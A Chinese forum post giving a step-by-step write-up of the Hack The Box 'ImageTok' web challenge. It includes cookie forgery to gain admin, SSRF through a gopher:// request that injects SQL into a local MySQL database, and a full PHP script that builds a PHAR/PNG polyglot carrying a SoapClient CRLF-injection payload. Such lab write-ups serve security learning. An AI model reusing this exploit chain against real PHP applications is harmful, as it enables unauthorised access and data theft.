电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 557 人浏览分享

Hack the box-ImageTok攻克思路

[复制链接]
557 0
前言

全文中截图网站地址、数据库信息等不一致,因htb靶机具有时效性故每次启动分配的靶机信息都不一致。

该文档是在操作过程中记录,难度较大,通关整个耗时7天,在间断性放弃中坚持,实属不易。

信息收集

访问网站,查看页面基本信息

QQ截图20220718141330.png

发现页面只有文件上传功能。

文件上传

选择任意图片,点击提交按钮。进行抓包后重放,响应码为302

QQ截图20220718141524.png

响应包中存在两个cookie,且两个cookie的前半部分一致

复制第一个cookie,进行智能解码,发现包含==。此为base64特征

QQ截图20220718141603.png

所以只将前半部分进行base64解码

1638.png

发现此为文件上传后图片名称,猜测username为网站用户名。将之更改为admin后更新cookie

eyJmaWxlcyI6W3siZmlsZV9uYW1lIjoiZjBhNzcucG5nIn0seyJmaWxlX25hbWUiOiI1ZTIzNC5wbmcifSx7ImZpbG
VfbmFtZSI6IjI0MjdmLnBuZyJ9LHsiZmlsZV9uYW1lIjoiZGViNTcucG5nIn1dLCJ1c2VybmFtZSI6ImFkbWluIn0=.JD
J5JDEwJGZHNGhWaU9OSk1DZDhxaldrQllVbS5TcDBvZGtFNUpTclBETTJhdW5VZzFqd09UM3BEeXFh

将该cookie替换,得出响应包中cookie,并进行解码

1637.png

解码后为admin,证明该cookie为admin。

替换该处cookie为admin

1636.png

虽然是admin权限,但刷新页面功能并无变化。接着进行代码分析,寻找突破

代码分析

1》入口文件index.php

1635.png

2》/info

可见/info能看到phpinfo信息

949.png

得到数据库主机、用户名、数据库名等信息。

3》/proxy

看到proxy能想到的是ssrf

939.png

以上代码说明,url请求能正常执行的条件

session中username=admin
远程服务器0.0.1
Post请求的url参数不为空
Host在列表中任意一个['uploads.imagetok.htb', 'admin.imagetok.htb']
Port在列表中['80', '8080', '443']

跟进CustomSessionHandler.php文件

2128.png

可知,cookie可以.分割,取.之前的部分,然后进行base64解码,解码后得到username刚好
用以判断session中username=admin

219.png

此部分为cookie生成规则,json数据格式进行base64编码+.+后面随机生成规则后base64编码。

故,我们可以拼接的方式以此生成新的cookie来绕过

QQ截图20220718142256.png

以上5个条件均能绕过,故可使用ssrf来发送gopher协议请求来攻击mysql。目前知道mysql相关信息可具体
mysql语句如何利用。怎么回显都不太清楚,可继续看代码

4》UserModel.php

该文件在入口文件处加载

218.png

跟进UserModel.php文件updateFiles函数

216.png

可获取session中username的值,查询出由该用户名插入的文件名,接着将该文件名插入session的files中。
我们可伪造username为admin,若插入一条数据,file_name=flag、username=admin。再通过直接访问主页
获取主页session.进行解码,即可得到解码后file的值即为flag。
刚好可利用gopher协议攻击mysql,插入一条mysql语句,通过查询的方式得到flag。

5》/upload

212.png

文件名为随机生成,只允许上传png文件,其他格式不允许。

综上。使用ssrf来发送gopher协议请求来攻击mysql,构造mysql语句使flag展示在session中的file伪装
图像绕过文件检测,上传该payload图片触发漏洞。

接下来对漏洞利用步骤进行分解:

插入flag到file_name字段的Mysql语句拼接
gopher协议构造
Admin session伪造
编写图片生成脚本以绕过检测
上传payload图片
访问主页获取session
Session用.分割,取.之前的部分进行base64解码后得到file中值即为flag。

漏洞利用

Mysql语句拼接

1.查询出数据库中现存的flag值

2.插入一条数据将现存的flag存入文件名file_name字段中

211.png

entrypoint.sh文件可知完整sql语句,且flag已被插入数据库。故构造查询flag语句:

SELECT flag FROM db_fjqaG.definitely_not_a_flag。

210.png

接着插入一条新数据,以供flag可存入session的file中。故构造insert语句:

INSERT INTO db_XhnWU.files(file_name, checksum, username) VALUES('查询出的flag值','abc','admin');

完整mysql语句如下:

INSERT INTO db_XhnWU.files(file_name, checksum, username) VALUES((SELECT flag FR
OM db_XhnWU.definitely_not_a_flag),'abc','admin');

Gopher协议构造

有数据库主机、用户名、数据库名,考虑可以使用gopher攻击mysql,生成协议可使用gopherus工具。

安装  https://github.com/tarunkant/Gopherus

209.png

注意格式gopher:///。

所以重新组成新的gopher链接:gopher:///127.0.0.1:3306/_字符串

Admin session伪造

上述文件上传部分已经实现了admin session伪造的发现过程。这边简述步骤。

文件上传抓包后重放,获取响应包中session
将响应包中session替换请求包中session再次发包
再次获得响应包中session替换请求包中session再次发包
获得响应包中session以.进行分割。(.前面部分进行base64解码成为包含username的json,将username改为admin
重新base64编码)+(.后面部分)=新的session

如此得到的便是Admin session.

编写图片生成脚本以绕过检测

PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启这个特性
使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包直接放
到 PHP-FPM 中运行

前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件也就是说
如果我们留下这个标志位,构造一个图片或者其他文件,那么可以绕过上传限制,并且被 phar 这函数识别利用。

生成phar文件,修改后缀为jpg,上传文件处修改filename为phar://phar.jpg,读取到flag

所以

Php.ini中去掉最前面的分号

extension=soap

Phar.readonly = Off

208.png

可使用如下脚本,运行后得到'payload.png即为payload图片

<?php

class ImageModel

{

public $file;

public function __construct($file){

$gopher = "gopher:///127.0.0.1:3306/_xxxxx";

$this->file=new SoapClient(null,array(

"location"=>"http://127.0.0.1:80/proxy",

"uri"=>"http://127.0.0.1:80/proxy",

"user_agent"=>"clrf-inject\r\n\r\n\r\n\r\n".

"POST /proxy HTTP/1.1\r\n".

"HOST: admin.imagetok.htb\r\n".

"Connection: close\r\n".

"Cookie: PHPSESSID=admin_session\r\n".

"Content-Type: application/x-www-form-urlencoded\r\n".

"Content-Length:".strlen($gopher)."\r\n\r\n".$gopher."\r\n\r\n\r\n"

));

}

}

@unlink("payload.phar");

$phar = new Phar("payload.phar");

$phar->startBuffering();

$phar->addFile('ssrf.png','ssrf.png');

$phar->setStub(file_get_contents('ssrf.png').'__HALT_COMPILER();?>');

$phar->setMetadata(new ImageModel('none'));

$phar->stopBuffering();

rename('payload.phar', 'payload.png');

?>

获取flag

直接上传payload.png获得图片上传后地址



访问phar图片以成功插入flag到file



访问主页抓包,更改请求包session为构造的admin session后发包获取session。

Session用.分割,取.之前的部分进行base64解码后得到file中值即为flag。

201.png

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.